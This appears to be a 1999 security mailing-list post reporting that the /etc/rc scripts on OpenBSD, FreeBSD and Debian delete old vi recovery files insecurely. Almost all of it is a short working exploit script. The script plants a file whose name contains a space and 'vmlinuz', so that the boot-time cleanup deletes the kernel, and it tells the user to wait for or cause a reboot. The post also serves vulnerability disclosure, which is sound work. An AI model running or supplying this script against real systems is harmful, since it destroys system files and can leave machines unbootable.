vibackup.sh

From: Loneguard (loneguardat_private)
Date: Fri Dec 31 1999 - 06:32:08 PST

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    Looks like someone noticed this at some point in OpenBSD. Its broken
    rather than fixed ;(
    
    #!/bin/sh
    #
    # vibackup.sh - Loneguard 22/05/99
    # Open/FreeBSD/Debian /etc/rc script insecurely removes old vi files allowing deletion
    # of files
    #
    touch '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
    chmod 700 '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
    echo Now wait for ( or cause ) a reboot...
    



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